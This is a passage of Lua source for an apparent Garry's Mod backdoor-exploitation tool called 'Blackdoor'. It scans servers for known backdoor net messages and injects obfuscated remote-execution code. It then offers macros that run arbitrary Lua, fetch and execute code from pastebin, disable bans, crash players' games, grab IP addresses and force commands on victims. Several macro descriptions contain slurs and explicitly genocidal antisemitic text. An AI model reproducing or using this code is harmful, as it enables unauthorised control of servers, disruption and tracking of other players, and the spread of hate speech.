7044 },
7045 {
7046 NetWork = "Fix_Keypads"
7047 },
7048 {
7049 NetWork = "Remove_Exploiters"
7050 },
7051 {
7052 NetWork = "noclipcloakaesp_chat_text"
7053 },
7054 {
7055 NetWork = "_Defqon"
7056 },
7057 {
7058 NetWork = "_CAC_ReadMemory",
7059"nostrip"
7060 },
7061 {
7062 NetWork = "nocheat"
7063 },
7064 {
7065 NetWork = "LickMeOut"
7066 },
7067 {
7068 NetWork = "ULX_QUERY2"
7069 },
7070 {
7071 NetWork = "ULXQUERY2"
7072 },
7073 {
7074 NetWork = "MoonMan"
7075 },
7076 {
7077 NetWork = "Im_SOCool"
7078 },
7079 {
7080 NetWork = "Sandbox_GayParty"
7081 },
7082 {
7083 NetWork = "DarkRP_UTF8"
7084 },
7085 {
7086 NetWork = "oldNetReadData"
7087 },
7088 {
7089 NetWork = "memeDoor"
7090 },
7091 {
7092 NetWork = "BackDoor"
7093 },
7094 {
7095 NetWork = "OdiumBackDoor"
7096 },
7097 {
7098 NetWork = "SessionBackdoor"
7099 },
7100 {
7101 NetWork = "DarkRP_AdminWeapons"
7102 },
7103 {
7104 NetWork = "cucked"
7105 },
7106 {
7107 NetWork = "NoNerks"
7108 },
7109 {
7110 NetWork = "kek"
7111 },
7112 {
7113 NetWork = "ZimbaBackDoor"
7114 },
7115 {
7116 NetWork = "something"
7117 },
7118 {
7119 NetWork = "random"
7120 },
7121 {
7122 NetWork = "strip0"
7123 },
7124 {
7125 NetWork = "fellosnake"
7126 },
7127 {
7128 NetWork = "enablevac"
7129 },
7130 {
7131 NetWork = "idk"
7132 },
7133 {
7134 NetWork = "c"
7135 },
7136 {
7137 NetWork = "killserver"
7138 },
7139 {
7140 NetWork = "fuckserver"
7141 },
7142 {
7143 NetWork = "cvaraccess"
7144 },
7145 {
7146 NetWork = "rcon"
7147 },
7148 {
7149 NetWork = "rconadmin"
7150 },
7151 {
7152 NetWork = "web"
7153 },
7154 {
7155 NetWork = "jesuslebg"
7156 },
7157 {
7158 NetWork = "zilnix"
7159 },
7160 {
7161 NetWork = "ГћГ ?D)в—"
7162 },
7163 {
7164 NetWork = "disablebackdoor"
7165 },
7166 {
7167 NetWork = "kill"
7168 },
7169 {
7170 NetWork = "DefqonBackdoor"
7171 }
7172}
7173
7174function checkbackdoors()
7175 for k, v in pairs(BackDoor_net) do
7176 if (ValidNetString(v.NetWork)) then
7177 BackdoorsFound = 1 + BackdoorsFound
7178 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7179 v.NetWork = backdoor
7180 end
7181 end
7182end
7183
7184BD.Backdoors = BD.Backdoors or {}
7185BD.CurrentBackdoor = "Generic"
7186
7187for k, v in pairs(BackDoor_net) do
7188 if (ValidNetString(v.NetWork)) then
7189 BD.BackdoorTypes = {
7190 ["Generic"] = {
7191 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7192 ["Netkey"] = v.NetWork
7193 }
7194 }
7195 end
7196end
7197
7198checkbackdoors()
7199local netsss = net.Start
7200
7201function BD.IsMessagePooled(netmessage)
7202 local netfunc = netsss
7203
7204 return status
7205end
7206
7207local net = net
7208local ctxt = chat.AddText
7209
7210function BD.ChatText(message, col)
7211 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7212end
7213
7214function BD.PingBackDoors()
7215 local bds = {}
7216
7217 for k, v in pairs(BackDoor_net) do
7218 if BD.IsMessagePooled(tostring(v.NetWork)) then
7219 bds[k] = true
7220 end
7221 end
7222
7223 return bds
7224end
7225
7226concommand.Add("bd_refresh_backdoors", function()
7227 BD.Backdoors = BD.PingBackDoors()
7228end)
7229
7230function BD.BackdoorActive()
7231 return table.Count(BD.Backdoors) > 0
7232end
7233
7234BD.BDMacros = {
7235 ["Artillery Strike"] = {
7236 ["Type"] = 1,
7237 ["Code"] = [[if !bombstrike then
7238
7239hook.Add("Think", "lulz_bombstrike", function()
7240
7241local explode = ents.Create( "env_explosion" )
7242
7243local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7244
7245local trc = {}
7246
7247trc.start = ps
7248
7249trc.endpos = ps + Vector( 0, 0, -99999)
7250
7251local tr = util.TraceLine(trc)
7252
7253if !tr.Hit then return end
7254
7255explode:SetPos( tr.HitPos )
7256
7257explode:Spawn()
7258
7259explode:SetKeyValue( "iMagnitude", "400" )
7260
7261explode:Fire( "Explode", 0, 0 )
7262
7263end)
7264
7265bombstrike = true
7266
7267else
7268
7269hook.Remove("Think", "lulz_bombstrike")
7270
7271bombstrike = false
7272
7273end]],
7274 ["Desc"] = "Explode the shit out of everything"
7275 },
7276 ["@ Inject SendLua Interface"] = {
7277 ["Type"] = 1,
7278 ["Code"] = [[
7279
7280local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
7281
7282 ]],
7283 ["Desc"] = "You need this to use certain macros"
7284 },
7285 ["Announce centre screen"] = {
7286 ["Type"] = 1,
7287 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7288 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7289 ["NeedsParameters"] = 1
7290 },
7291 ["Rainbow chat spam"] = {
7292 ["Type"] = 1,
7293 ["Code"] = [[
7294
7295 if !timer.Exists( "lulz_chatspam" ) then
7296
7297 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7298
7299 else
7300
7301 timer.Remove( "lulz_chatspam" )
7302
7303 end]],
7304 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7305 ["NeedsParameters"] = 1
7306 },
7307 ["Rainbow chat spam (Turbo)"] = {
7308 ["Type"] = 1,
7309 ["Code"] = [[
7310
7311 if !timer.Exists( "lulz_chatspam" ) then
7312
7313 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7314
7315 else
7316
7317 timer.Remove( "lulz_chatspam" )
7318
7319 end]],
7320 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7321 ["NeedsParameters"] = 1
7322 },
7323 ["Unlock all doors"] = {
7324 ["Type"] = 1,
7325 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7326 ["Desc"] = ""
7327 },
7328 ["Toggle all doors"] = {
7329 ["Type"] = 1,
7330 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7331 ["Desc"] = ""
7332 },
7333 ["Broken Glass Symphony"] = {
7334 ["Type"] = 1,
7335 ["Code"] = [[
7336
7337 if !timer.Exists( "A true masterpiece" ) then
7338
7339 timer.Create( "A true masterpiece", 0.2, 0, function()
7340
7341 for _, p in pairs(player.GetAll()) do
7342
7343 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7344
7345 end
7346
7347 end)
7348
7349 else
7350
7351 timer.Remove( "A true masterpiece" )
7352
7353 end]],
7354 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7355 },
7356 ["Yeah Baby"] = {
7357 ["Type"] = 1,
7358 ["Code"] = [[
7359
7360 if !timer.Exists( "porn" ) then
7361
7362 timer.Create( "porn", 0.3, 0, function()
7363
7364 for _, p in pairs(player.GetAll()) do
7365
7366 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7367
7368 end
7369
7370 end)
7371
7372 else
7373
7374 timer.Remove( "porn" )
7375
7376 end]],
7377 ["Desc"] = "YEAH BABY YEAH"
7378 },
7379 ["Street War"] = {
7380 ["Type"] = 1,
7381 ["Code"] = [[
7382
7383 if !timer.Exists( "cwar" ) then
7384
7385 timer.Create( "cwar", 1, 0, function()
7386
7387 for _, p in pairs(player.GetAll()) do
7388
7389 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7390
7391 end
7392
7393 end)
7394
7395 else
7396
7397 timer.Remove( "cwar" )
7398
7399 end]],
7400 ["Desc"] = "For when you need more dakka"
7401 },
7402 ["Earthquake"] = {
7403 ["Type"] = 1,
7404 ["Code"] = [[
7405
7406 if !timer.Exists( "earthquake" ) then
7407
7408 timer.Create( "earthquake", 0.5, 500, function()
7409
7410 for _, p in pairs(player.GetAll()) do
7411
7412 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7413
7414 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7415
7416 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7417
7418 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7419
7420 end
7421
7422
7423
7424 for _, e in pairs(ents.GetAll()) do
7425
7426 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7427
7428 end
7429
7430
7431
7432
7433
7434 end)
7435
7436 else
7437
7438 timer.Remove( "earthquake" )
7439
7440 end]],
7441 ["Desc"] = "For when you need more dakka"
7442 },
7443 ["Explode all vehicles"] = {
7444 ["Type"] = 1,
7445 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7446
7447 local explo = ents.Create("env_explosion")
7448
7449 explo:SetPos(v:GetPos())
7450
7451 explo:SetKeyValue("iMagnitude", "300")
7452
7453 explo:Spawn()
7454
7455 explo:Activate()
7456
7457 explo:Fire("Explode", "", 0)
7458
7459 end
7460
7461 end]],
7462 ["Desc"] = ""
7463 },
7464 ["RCON command"] = {
7465 ["Type"] = 1,
7466 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7467 ["Desc"] = "Like having rcon access without actually having rcon access"
7468 },
7469 ["Lua run"] = {
7470 ["Type"] = 1,
7471 ["Code"] = [[@1]],
7472 ["Desc"] = "For running your dank luas"
7473 },
7474 ["Lua run from pastebin"] = {
7475 ["Type"] = 1,
7476 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7477 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7478 },
7479 ["Destroy ULX Ban/Kick"] = {
7480 ["Type"] = 1,
7481 ["Code"] = [[ULib.Ban = function() return false end
7482
7483 ULib.addBan = function() return end
7484
7485 ULib.kick = function() return end]],
7486 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7487 },
7488 ------------------------ player targeted macros ------------------------
7489 ["Kill player"] = {
7490 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7491 ["Code"] = [[v:Kill()]],
7492 ["Desc"] = ""
7493 },
7494 ["Fumble player"] = {
7495 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7496 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7497 ["Desc"] = "Knocks their current weapon out of their hand"
7498 },
7499 ["Strip weapons"] = {
7500 ["Type"] = 2,
7501 ["Code"] = [[v:StripWeapons()]],
7502 ["Desc"] = ""
7503 },
7504 ["Rocket"] = {
7505 ["Type"] = 2,
7506 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7507 ["Desc"] = "Sends them flying up into the air"
7508 },
7509 ["Rocket (Spastic)"] = {
7510 ["Type"] = 2,
7511 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7512 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7513 },
7514 ["Change model"] = {
7515 ["Type"] = 2,
7516 ["Code"] = [[v:SetModel( @1 )]],
7517 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7518 ["NeedsParameters"] = 1
7519 },
7520 ["Set health + armor"] = {
7521 ["Type"] = 2,
7522 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7523 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7524 ["NeedsParameters"] = 2
7525 },
7526 ["Ear rape"] = {
7527 ["Type"] = 2,
7528 ["Code"] = [[
7529
7530 local snd = {
7531
7532 [1] = "npc/stalker/go_alert2a.wav",
7533
7534 [2] = "vo/npc/male01/question06.wav",
7535
7536 [3] = "ambient/energy/zap1.wav",
7537
7538 [4] = "weapons/knife/knife_stBD.wav",
7539
7540 [5] = "vo/ravenholm/madlaugh04.wav",
7541
7542 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7543
7544 [7] = "vo/breencast/br_collaboration01.wav,"
7545
7546 }
7547
7548 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7549
7550 ]],
7551 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7552 ["NeedsParameters"] = 1
7553 },
7554 ["Ear rape (from internet)"] = {
7555 ["Type"] = 2,
7556 ["Code"] = [[
7557
7558 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7559
7560 ]],
7561 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7562 ["NeedsParameters"] = 1
7563 },
7564 ["Eye rape (from internet)"] = {
7565 ["Type"] = 2,
7566 ["Code"] = [[
7567
7568 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7569
7570 ]],
7571 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7572 ["NeedsParameters"] = 1
7573 },
7574 ["Rave Mode"] = {
7575 ["Type"] = 2,
7576 ["Code"] = [[
7577
7578 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7579
7580 ]],
7581 ["Desc"] = "Make them loosen up and join the party"
7582 },
7583 ["Rave Music"] = {
7584 ["Type"] = 2,
7585 ["Code"] = [[
7586
7587 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7588
7589 ]],
7590 ["Desc"] = "DOOF DOOF NIGGA"
7591 },
7592 ["Whisper"] = {
7593 ["Type"] = 2,
7594 ["Code"] = [[v:ChatPrint( @1 )]],
7595 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7596 ["NeedsParameters"] = 1
7597 },
7598 ["Whisper (advanced)"] = {
7599 ["Type"] = 2,
7600 ["Code"] = [[
7601
7602 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7603
7604 ]],
7605 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7606 ["NeedsParameters"] = 1
7607 },
7608 ["Ignite player"] = {
7609 ["Type"] = 2,
7610 ["Code"] = [[v:Ignite( 30 )]],
7611 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7612 },
7613 ["Toggle godmode"] = {
7614 ["Type"] = 2,
7615 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7616 ["Desc"] = ""
7617 },
7618 ["Crash their gmod"] = {
7619 ["Type"] = 2,
7620 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7621 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7622 },
7623 ["Toggle serverside speedhack"] = {
7624 ["Type"] = 2,
7625 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7626 ["Desc"] = "GOTTA GO FAST"
7627 },
7628 ["Freeze/Unfreeze player"] = {
7629 ["Type"] = 2,
7630 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7631 ["Desc"] = ""
7632 },
7633 ["Force say"] = {
7634 ["Type"] = 2,
7635 ["Code"] = [[v:Say(@1)]],
7636 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7637 ["NeedsParameters"] = 1
7638 },
7639 ["Force concommand"] = {
7640 ["Type"] = 2,
7641 ["Code"] = [[v:ConCommand(@1)]],
7642 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7643 ["NeedsParameters"] = 1
7644 },
7645 ["Grab IP"] = {
7646 ["Type"] = 2,
7647 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7648 ["Desc"] = "Prints their IP Address to your console"
7649 },
7650 ["DarkRP add/remove money"] = {
7651 ["Type"] = 2,
7652 ["Code"] = [[v:addMoney(@1)]],
7653 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7654 ["NeedsParameters"] = 1
7655 },
7656 ["DarkRP force job"] = {
7657 ["Type"] = 2,
7658 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7659 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7660 ["NeedsParameters"] = 1
7661 },
7662 ["Force team switch"] = {
7663 ["Type"] = 2,
7664 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7665 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7666 ["NeedsParameters"] = 1
7667 },
7668 ["Noclip player"] = {
7669 ["Type"] = 2,
7670 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7671 ["Desc"] = "Toggles noclip on the specified players"
7672 },
7673 ["Give weapon to player"] = {
7674 ["Type"] = 2,
7675 ["Code"] = [[v:Give( @1 )]],
7676 ["Desc"] = "Gives this player a weapon (first parameter)",
7677 ["NeedsParameters"] = 1
7678 },
7679 ["Give ammo to player"] = {
7680 ["Type"] = 2,
7681 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7682 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7683 ["NeedsParameters"] = 2
7684 },
7685 ["Teleport (them to your cursor)"] = {
7686 ["Type"] = 2,
7687 ["Code"] = [[
7688
7689 local tp = false
7690
7691 local tpos
7692
7693 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7694
7695 if tp then v:SetPos( tpos ) end
7696
7697 ]],
7698 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7699 },
7700 ["Teleport (you to them)"] = {
7701 ["Type"] = 2,
7702 ["Code"] = [[
7703
7704 local tp = false
7705
7706 local tpos = v:GetPos() + Vector( 32, 0, 10)
7707
7708 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7709
7710 ]],
7711 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7712 },
7713 ["Teleport (blink)"] = {
7714 ["Type"] = 2,
7715 ["Code"] = [[
7716
7717 local tpos = v:GetEyeTraceNoCursor().HitPos
7718
7719 v:SetPos( tpos )
7720
7721 ]],
7722 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7723 },
7724 ["Spawn entity near player"] = {
7725 ["Type"] = 2,
7726 ["Code"] = [[
7727
7728 local tr = {}
7729
7730 tr.start = v:GetShootPos()
7731
7732 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7733
7734 tr.filter = {v}
7735
7736 local trace = util.TraceLine(tr)
7737
7738 local dix = ents.Create( @1 )
7739
7740 dix:SetPos(trace.HitPos)
7741
7742 dix:SetAngles(Angle(0,0,0))
7743
7744 dix:Spawn()
7745
7746 ]],
7747 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7748 ["NeedsParameters"] = 1
7749 },
7750 ["Spawn prop near player"] = {
7751 ["Type"] = 2,
7752 ["Code"] = [[
7753
7754 local tr = {}
7755
7756 tr.start = v:GetShootPos()
7757
7758 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7759
7760 tr.filter = {v}
7761
7762 local trace = util.TraceLine(tr)
7763
7764 local dix = ents.Create( "prop_physics" )
7765
7766 dix:SetPos(trace.HitPos)
7767
7768 dix:SetAngles(Angle(0,0,0))
7769
7770 dix:SetModel( @1 )
7771
7772 dix:Spawn()
7773
7774 ]],
7775 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7776 ["NeedsParameters"] = 1
7777 },
7778 ["Spawn evil npc near player"] = {
7779 ["Type"] = 2,
7780 ["Code"] = [[
7781
7782 local tr = {}
7783
7784 tr.start = v:GetShootPos()
7785
7786 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7787
7788 tr.filter = {v}
7789
7790 local trace = util.TraceLine(tr)
7791
7792 local dix = ents.Create( "npc_citizen" )
7793
7794 dix:SetPos(trace.HitPos)
7795
7796 dix:SetAngles(Angle(0,0,0))
7797
7798 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7799
7800 dix:SetKeyValue( "citizentype", 3 )
7801
7802 dix:AddRelationship("player D_HT 200")
7803
7804 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7805
7806 dix:SetSchedule( SCHED_IDLE_WANDER )
7807
7808 dix:Spawn()
7809
7810 ]],
7811 ["Desc"] = "Spawn a hostile NPC in front of this player"
7812 },
7813 ["Death ray"] = {
7814 ["Type"] = 2,
7815 ["Code"] = [[
7816
7817 local trace = v:GetEyeTraceNoCursor()
7818
7819 if trace.Entity:IsValid() then trace.Entity:Remove() end
7820
7821 ]],
7822 ["Desc"] = "Vaporize whatever this player is looking at"
7823 },
7824 ["Death ray (explosive)"] = {
7825 ["Type"] = 2,
7826 ["Code"] = [[
7827
7828 local trace = v:GetEyeTraceNoCursor()
7829
7830 local explo = ents.Create("env_explosion")
7831
7832 explo:SetPos(trace.HitPos)
7833
7834 explo:SetKeyValue("iMagnitude", "250")
7835
7836 explo:Spawn()
7837
7838 explo:Activate()
7839
7840 explo:Fire("Explode", "", 0)
7841
7842 ]],
7843 ["Desc"] = "Blow up whatever this player is looking at"
7844 },
7845 ["Precise Artillery Strike"] = {
7846 ["Type"] = 2,
7847 ["Code"] = [[
7848
7849 local trace = v:GetEyeTraceNoCursor()
7850
7851 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7852
7853 local explo = ents.Create("env_explosion")
7854
7855 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7856
7857 explo:SetKeyValue("iMagnitude", "250")
7858
7859 explo:Spawn()
7860
7861 explo:Activate()
7862
7863 explo:Fire("Explode", "", 0)
7864
7865 end)
7866
7867 ]],
7868 ["Desc"] = "Blow up whatever this player is looking at"
7869 },
7870 ["Woman Driver"] = {
7871 ["Type"] = 2,
7872 ["Code"] = [[
7873
7874 local trace = v:GetEyeTraceNoCursor()
7875
7876 local car = ents.Create("prop_physics")
7877
7878 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7879
7880 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7881
7882 car:SetAngles( v:GetAngles() )
7883
7884 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7885
7886 car:Spawn()
7887
7888 car:Activate()
7889
7890 car.boom = 6
7891
7892 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7893
7894 car:Ignite( 500 )
7895
7896 car:AddCallback( "PhysicsCollide", function( car, dat )
7897
7898 local explo = ents.Create("env_explosion")
7899
7900 explo:SetPos( car:GetPos() )
7901
7902 explo:SetKeyValue("iMagnitude", "350")
7903
7904 explo:Spawn()
7905
7906 explo:Activate()
7907
7908 explo:Fire("Explode", "", 0)
7909
7910 local ef = EffectData()
7911
7912 ef:SetOrigin( car:GetPos() )
7913
7914 ef:SetMagnitude( 5 )
7915
7916 ef:SetScale( 200 )
7917
7918 util.Effect( "ThumperDust", ef )
7919
7920 car.boom = car.boom - 1
7921
7922 if car.boom < 0 then car:Remove() end
7923
7924 end )
7925
7926 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7927
7928 ]],
7929 ["Desc"] = "Make exploding vehicles rain from the sky"
7930 },
7931 ["Poison Gas"] = {
7932 ["Type"] = 2,
7933 ["Code"] = [[
7934
7935 local trace = v:GetEyeTraceNoCursor()
7936
7937 local ar2Explo = ents.Create("env_ar2explosion")
7938
7939 ar2Explo:SetOwner(game.GetWorld())
7940
7941 local p = trace.HitPos
7942
7943 ar2Explo:SetPos(trace.HitPos)
7944
7945 ar2Explo:Spawn()
7946
7947 ar2Explo:Activate()
7948
7949 ar2Explo:Fire("Explode", "", 0)
7950
7951 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7952
7953 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7954
7955 if !ent:IsPlayer() then continue end
7956
7957 local d = DamageInfo()
7958
7959 d:SetDamage( 1 )
7960
7961 d:SetAttacker( game.GetWorld() )
7962
7963 d:SetInflictor( game.GetWorld() )
7964
7965 d:SetDamageType( DMG_DROWN )
7966
7967 ent:TakeDamageInfo( d )
7968
7969 end
7970
7971 end)
7972
7973
7974
7975 ]],
7976 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7977 },
7978 ["Spawn vehicle near player"] = {
7979 ["Type"] = 2,
7980 ["Code"] = [[
7981
7982 local trc = {}
7983
7984 trc.start = v:GetShootPos()
7985
7986 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7987
7988 trc.filter = {v}
7989
7990 local tr = util.TraceLine(trc)
7991
7992
7993
7994 local VehicleList = list.Get( "Vehicles" )
7995
7996 local vehicle = VehicleList[ @1 ]
7997
7998 if ( !vehicle ) then return end
7999
8000 local Angles = v:GetAngles()
8001
8002 Angles.pitch = 0
8003
8004 Angles.roll = 0
8005
8006 Angles.yaw = Angles.yaw + 180
8007
8008
8009
8010 local pos = tr.HitPos
8011
8012 if ( vehicle.Offset ) then
8013
8014 pos = pos + tr.HitNormal * vehicle.Offset
8015
8016 end
8017
8018 local Ent = ents.Create( vehicle.Class )
8019
8020 if ( !Ent ) then return end
8021
8022 duplicator.DoGeneric( Ent, vehicle )
8023
8024 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8025
8026 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8027
8028 if ( vehicle && vehicle.KeyValues ) then
8029
8030 for k, v in pairs( vehicle.KeyValues ) do
8031
8032 Ent:SetKeyValue( k, v )
8033
8034 end
8035
8036 end
8037
8038 Ent:SetModel( vehicle.Model )
8039
8040 Ent:SetAngles( Angles )
8041
8042 Ent:SetPos( pos )
8043
8044 Ent:Spawn()
8045
8046 Ent:Activate()
8047
